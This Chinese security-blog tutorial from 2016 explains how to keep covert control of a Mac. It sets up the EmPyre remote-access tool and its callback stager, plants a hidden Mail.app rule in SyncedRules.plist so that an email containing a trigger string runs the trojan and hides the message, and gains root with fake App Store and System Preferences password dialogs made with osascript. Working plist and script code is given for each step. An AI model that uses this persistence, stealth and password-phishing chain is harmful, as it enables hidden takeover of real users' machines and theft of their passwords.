【技术分享】MacOS安全:通过email稳定控制Mac总结

2016-11-26 09:55:26来源:作者:360安全播报人点击

作者: vodu

预估稿费:500RMB(不服你也来投稿啊!)

投稿方式:发送邮件至 linwei#360.cn ,或登陆 网页版 在线投稿

关于木马稳定控制Mac,有很多种方式, 今天跟大家探讨一个通过email稳定控制Mac的方式。 网上有一些介绍的文章,但是坑多,现将本人测试经验整理,共同学习。

文章整体分为三个部分,第一部分 简单介绍远控工具 ,第二部分介绍 如何通过email去启动木马 ,第三部分关于 全版本MacOS适用的提权

一、远控

使用Empyre,纯python的渗透工具,使用完全类似于Empire

git clone https://github.com/adaptivethreat/EmPyre.gitcd EmPyrepython empyre

设置Linsteners

Listenersrun //本次测试使用默认地址,根据情况更改配置

生成回连脚本

usestarger bashset Listener test // 设置好的listeners名字generate

至此,远控回连设置完毕

关于mac平台的远控的选择,还可以选择其他多种工具,像JS-Rat 等等等。。。因为MacOS支持各多种脚本的运行,像javascript,python 等。或者就最简单的反弹一个shell回来,类Unix平台的控制程序多种多样,根据自己情况先择就好。

二、启动

MacOS自带的Mail.APP

有一个添加规则的功能,触发后可以执行脚本,具体步骤如下:

依次点击 邮件-偏好设置-规则-添加规则,就可以按照常规方式添加规则

然后选择合适的触发规则

最后选择触发后的行为

触发后执行的AppleScript 为script.scpt文件,必须位于:

/Users/$USER/Library/Application Scripts/com.apple.mail/

文件夹中,并且以scpt后缀

为了便于隐藏,推荐直接修改配置文件,设置规则。在配置文件上修改应用的规则不会显示到GUI界面,有较强的隐蔽性。

邮件规则存储文件:

/Users/$USER/Library/Mail/$VERSION/MailData/SyncedRules.plist

“$USER”就是目标用户的用户名称,“$VERSION”是相应的版本号,版本对应如下:

MacOS Sierra (10.12)V4OS X El Capitan (10.11)V3OS X Lion (10.7)V2OS X Yosemite (10.10)V2

如果机器开启了iCloud同步,那么规则将会被存储到另一位文件中,位于:

/Users/$USER/Library/Mobile Documents/com~apple~mail/Data/$VERSION/MailData/SyncedRules.plist

需要注意的是该文件比上一个的文件有高优先级,并且新规则在Mail.APP重启之后生效。

以下是规则文件中内容

<plist version="1.0"><array> <dict> <key>AllCriteriaMustBeSatisfied</key> <string>NO</string> <key>AppleScript</key> <string>script.scpt</string> <key>AutoResponseType</key> <integer>0</integer> <key>CopyToMailbox</key> <string>Trash</string> <key>CopyToMailboxURL</key> <string>Trash</string> <key>Criteria</key> <array> <dict> <key>CriterionUniqueId</key> <string>003AC288-64E4-4FA6-99DC-20DDDBA8DDAA</string> <key>Expression</key> <string>test-123</string> <key>Header</key> <string>Body</string> </dict> </array> <key>Deletes</key> <string>YES</string> <key>HighlightTextUsingColor</key> <string>NO</string> <key>Mailbox</key> <string>Trash</string> <key>MailboxURL</key> <string>Trash</string> <key>MarkFlagged</key> <string>NO</string> <key>MarkRead</key> <string>NO</string> <key>NotifyUser</key> <string>NO</string> <key>RuleId</key> <string>63C428FB-2634-4C0C-ACCA-9DA68229BC29</string> <key>RuleName</key> <string>delete</string> <key>SendNotification</key> <string>NO</string> <key>ShouldCopyMessage</key> <string>NO</string> <key>ShouldTransferMessage</key> <string>NO</string> <key>TimeStamp</key> <integer>461321588</integer> <key>Version</key> <integer>1</integer> </dict></array></plist>

代码中的“test-123” 就是触发字符,触发位置设置为“Body”正文中,配置代码如下:

<key>Expression</key><string>test-123</string><key>Header</key><string>Body</string>

执行的AppleScript脚本文件名称为script.scpt

<key>AppleScript</key><string>script.scpt</string>

启用这个规则,只需要将“RuleId” 添加到“RulesActiveState.plist” 文件中,例如:

<key>63C428FB-2634-4C0C-ACCA-9DA68229BC29</key><true/>

测试脚本文件内容为:

do shell script "date > /Users/$USER/Desktop/test.txt ; "

规则整体的意思就是,收到一封内容中包含字符“test-123”的邮件时,就将邮件扔到垃圾桶中,然后执行系统命令,输出当前时间到桌面的“test.txt”文件中。

至此启动器设置完成,下图为测试效果

如果需要启动木马,只需要将脚本文件中引号内容替换为之前Empyre生成的bash脚本,然后一封邮件,done,效果如下图:

为了增加隐蔽性,可以添加一些规则

<key>MarkRead</key><string>YES</string><key>CopyToMailbox</key><string>Trash</string><key>CopyToMailboxURL</key><string>Trash</string><key>Mailbox</key><string>Trash</string><key>MailboxURL</key><string>Trash</string>

这样收到信件之后会直接标记已读,然后放入废纸篓,就再也不会出现未读提示,效果如下图:

这样,触发邮件不会出现在收件箱中,并且在废纸篓中也不会提示未读。至于其中的DELETE,只会将邮件放入废纸篓, 而不是直接删除,没有一个很明确的解释,该功能为什么不能将邮件彻底删除。不知道是不是测试邮箱的问题。有待继续测试。

下一个问题,权限,这时候获取的shell权限不高,如下图:

只是用户权限,并不是root权限,下一步,提权。

三、提权

通杀MacOS全部版本的提权方式哦!

关于AppleScript,官方有如下叙述:

AppleScript是由Apple创建的脚本语言。 它允许用户直接控制可编写脚本的Macintosh应用程序,以及macOS本身的一部分。 您可以创建脚本集合的书面指令 - 自动化重复任务,组合来自多个可编写脚本的应用程序的功能,并创建复杂的工作流程。

由于代码功底有限,无法fuzz出MacOS提权漏洞,所以转变思路,只要能获取到用户的密码,就直接能获取root权限。

由于能力有限,直接从MacOS的密码从系统中获取本人无法做到。

最终方案 -- 针对 “人”。

先上几张效果图:

不够酷炫? 不够诱人?还有

你就说你输不输入密码!

不输入,就不能继续程序,什么程序都行包括系统程序!

强调下,这是系统设置和Apple Store 弹出的框,并不是手工绘制出现在屏幕上的弹框!

利用系统应用,如 app sotre,系统便好设置 给用户弹框,要求用户输入密码。并且不输入密码无法继续操作App Store 和系统设置。

需要注意的是,输入为空或者随意输入弹框都会消失,经过本人多次测试,将弹框次数增加至2到3次,将会打消用户所有疑虑,第二或者第三次的输入基本就会是系统密码。如果觉得该方案不保险,可以进行以下判断,密码不正确就一直弹框。

目前在多个朋友的Mac系统上测试结果,所有人都输入了密码!!

然后

do shell script "command" user name "username" password "password" with administrator privileges

或者其他什么方式

成功获取到root权限

你的电脑,我的权限。

收工!

附脚本:

osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store 需要密码才能继续" & return & return default answer "" with icon 1 with hidden answer with title "App Store"'osascript -e 'tell app "System Preferences" to display dialog "System Preferences 需要密码才能应用更新" & return & return default answer "" with icon 1 with hidden answer’脚本可以随意发挥!

本文由 安全客 原创发布,如需转载请注明来源及本文地址。

本文地址:http://bobao.360.cn/learning/detail/3210.html

最新文章

123

最新摄影

微信扫一扫

第七城市微信公众平台